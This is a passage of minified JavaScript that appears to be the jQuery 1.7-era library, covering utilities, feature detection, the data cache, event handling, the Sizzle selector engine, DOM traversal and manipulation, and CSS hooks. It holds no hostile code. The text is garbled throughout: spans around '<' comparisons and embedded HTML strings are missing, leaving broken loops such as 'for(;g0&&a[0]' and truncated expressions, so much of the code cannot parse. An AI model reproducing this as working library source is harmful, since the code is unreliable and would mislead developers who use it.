d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
      a",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="
      "+""+"
      ",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="
      t
      ",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="
      ",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&i.push({elem:this,matches:d.slice(e)});for(j=0;j0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

      ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
      ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
      ","
      "],thead:[1,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],col:[2,"","
      "],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
      ","
      "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() {for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ 